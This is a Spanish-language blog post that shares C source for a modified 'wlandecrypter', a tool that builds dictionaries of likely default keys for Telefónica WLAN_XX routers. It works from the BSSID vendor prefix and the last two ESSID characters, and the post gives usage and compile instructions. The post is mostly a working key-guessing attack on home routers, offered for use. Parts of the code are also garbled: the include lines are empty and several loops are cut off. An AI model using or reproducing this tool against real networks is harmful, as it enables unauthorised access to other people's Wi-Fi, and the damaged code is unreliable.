Cuelgo en el blog una modificación del pequeño programa “wlandecrypter” que genera un diccionario con las posibles claves de los diferentes routers de Timofónica.
Este comprueba por mac, como el original, si esta existe (está reconocida como una de las mac que utilizan los routers de la compañía) pero a diferencia del antiguo, es que si esta no existe también te da la posibilidad, previo aviso, de poder generar un diccionario con esos valores (más que nada por si se van añadiendo nuevas marcas o nuevas mac, y estas no han sido añadidas ya en la base del programa).
La forma de lanzarlo también cambia. Con la modificación en vez de tener que escribir todo el BSSID y todo el ESSID, solo se ingresarán las partes importantes, es decir, los primeros seis caracteres de la mac y los dos últimos del ESSID.
Ejemplo, si quieres generar un diccionario para la red con las siguientes características:
BSSID : 00:13:49:E8:29:7B
ESSID: WLAN_32
El programa se lanzará:
$ m0dWlandecrypter 001349 32 diccionario
NOTA: No comprobará si los 6 primeros caracteres pertenecientes al bssid son hexadecimales (ya lo implemento uno de estos días).
Dejo el código en cuestión:
/*****************************************************************************
* Fichero: m0dWlandecrypter.c
* Fecha: 22-09-2009
* Autor: aabilio (aabilio[at]gmail[dot]com)
*
* Es una pequeña modificación del wlandecrypter de Nilp0inteR
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*****************************************************************************/
#include
#include
#include
#include
#define MAXROUTER 13
#define ULTIMO 12
/* Estructura Router */
typedef struct __Router {
char bssid[7];
char init;
char info[20];
} _Router;
/* Variable global */
char hex[16]="0123456789ABCDEF";
/* Prototipos */
void datosRouters(_Router routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(_Router routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER],
int bssidId, char *keyEnd, char *);
void bucleImprimeClaves(FILE *fichero, char , int bssidId, char *keyEnd, char *);
/* MAIN */
int main(int argc, char *argv[]) {
int i, bssidId, validHex=0;
char opcion;
char endKey[2];
_Router routers[MAXROUTER];
FILE *fichero;
fprintf(stdout, "\n====================================\n");
fprintf(stdout, "m0dWlandecrypter - aabilio@gmail.com\n");
fprintf(stdout, "====================================\n");
if(argc<3 || argc>4) {
muestraAyuda();
return 1;
}
if(strlen(argv[1]) != 6 ) {
fprintf(stderr," [-] Longitud de BSSID invalida\n");
muestraAyuda();
return 1;
}
if(strlen(argv[2]) != 2 ) {
fprintf(stderr," [-] Longitud de ESSID invalida\n");
muestraAyuda();
return 1;
}
datosRouters(routers);
bssidId=buscaBssid(routers, argv[1]);
fprintf(stderr, " [+] BSSID: %s\n"
" [+] Modelo: %s\n", argv[1], routers[bssidId].info);
if(bssidId==ULTIMO) {
strcpy(routers[ULTIMO].bssid, argv[1]);
routers[ULTIMO].init = 'Z';
fprintf(stderr, " |__>> [?] Puede que no genere un buen diccionario\n");
do {
fprintf(stderr, " Continuar de todas formas?? (s/n) : ");
opcion = getchar(); getchar();
//scanf("%c", &opcion);
opcion = toupper(opcion);
if (opcion == 'N')
return 1;
else if (opcion == 'S')
break;
} while (1);
}
for(i=0;i3) {// Fichero
fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
if ((fichero=fopen(argv[3], "a+")) == NULL) {
fprintf(stderr, " [-] Fallo al escribir en el fichero\n");
return 1;
}
imprimeClaves(fichero,routers,bssidId,endKey, argv[1]);
fclose(fichero);
fprintf(stderr, " [+] Fichero guardado\n");
} else {
fprintf(stderr," [+] Seleccionada salida estandar\n");
imprimeClaves(stdout,routers,bssidId,endKey, argv[1]);
}
}
}
puts("");
return 0;
}
/* AYUDA */
void muestraAyuda() {
fprintf(stderr, "\nuso: aawlandecrypter [output file]\n"
" |__ : Solo los 6 primeros caracteres del mismo sin contar ':'\n"
" |__ : Solo los XX de WLAN_XX\n"
" |__[output file] : Archivo resultante\n\n"
" Ejemplo: aawlandecrypter 001349 55 diccionario\n\n");
}
/* Imprime claves */
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER],
int bssidId, char *keyEnd, char *bssid) {
//int i,j,k,l;
if(bssidId==ULTIMO){
routers[bssidId].init = 'Z';
bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
routers[bssidId].init = 'X';
bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
routers[bssidId].init = 'C';
bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
} else {
bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
}
}
/* El bucle que imprime la clave */
void bucleImprimeClaves(FILE *fichero, char init,
int bssidId, char *keyEnd, char *bssid) {
int i,j,k,l;
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++) {
fprintf(fichero, "%c%s%c%c%c%c%c%c\n"
, init, bssid, hex[i],hex[j],hex[k],hex[l],
keyEnd[0],keyEnd[1]);
}
}
/* Datos de los routers: */
void datosRouters(_Router routers[MAXROUTER]) {
int i =0;
// Z-com
strcpy(routers[i].bssid,"0060B3\0");
routers[i].init = 'Z';
strcpy(routers[i].info,"Z-com\0");
i++;
// Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
strcpy(routers[i].bssid,"00A0C5\0");
routers[i].init = 'Z';
strcpy(routers[i].info,"Zyxel 650HW/660HW\0");
i++;
// P-660HW-D1
strcpy(routers[i].bssid,"001349\0");
routers[i].init = 'Z';
strcpy(routers[i].info,"P-660HW-D1\0");
i++;
// Xavvy
strcpy(routers[i].bssid,"000138\0");
routers[i].init = 'X';
strcpy(routers[i].info,"Xavi 7768r\0");
i++;
// Comtrend
strcpy(routers[i].bssid,"0003C9\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 535\0");
i++;
// Comtrend NUEVO, gracias a dnreinad por el coche xD
strcpy(routers[i].bssid,"001638\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 536+\0");
i++;
// Comtrend NUEVO
strcpy(routers[i].bssid,"001915\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 536+\0");
i++;
// Comtrend NUEVO
strcpy(routers[i].bssid,"0030DA\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 536+\0");
i++;
// Comtrend NUEVO
strcpy(routers[i].bssid,"001A2B\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 536+\0");
i++;
// Comtrend NUEVO
strcpy(routers[i].bssid,"001D20\0");
routers[i].init = 'C';
strcpy(routers[i].info,"Comtrend 536+\0");
i++;
// ZyGate
strcpy(routers[i].bssid,"0002CF\0");
routers[i].init = 'Z';
strcpy(routers[i].info,"ZyGate\0");
i++;
// ZyGate
strcpy(routers[i].bssid,"0019CB\0");
routers[i].init = 'Z';
strcpy(routers[i].info,"ZyGate\0");
i++;
strcpy(routers[ULTIMO].bssid,"000000\0");
routers[ULTIMO].init = 'Z';
strcpy(routers[ULTIMO].info,"Desconocido\0");
}
int buscaBssid(_Router routers[MAXROUTER], char *bssid) {
int i;
for(i=0;i
Para compilar en GNU/Linux:
$ gcc -o wlandecryter_mod m0dWlandecrypter.c
Enlace | m0dWlandecrypter.c para descargar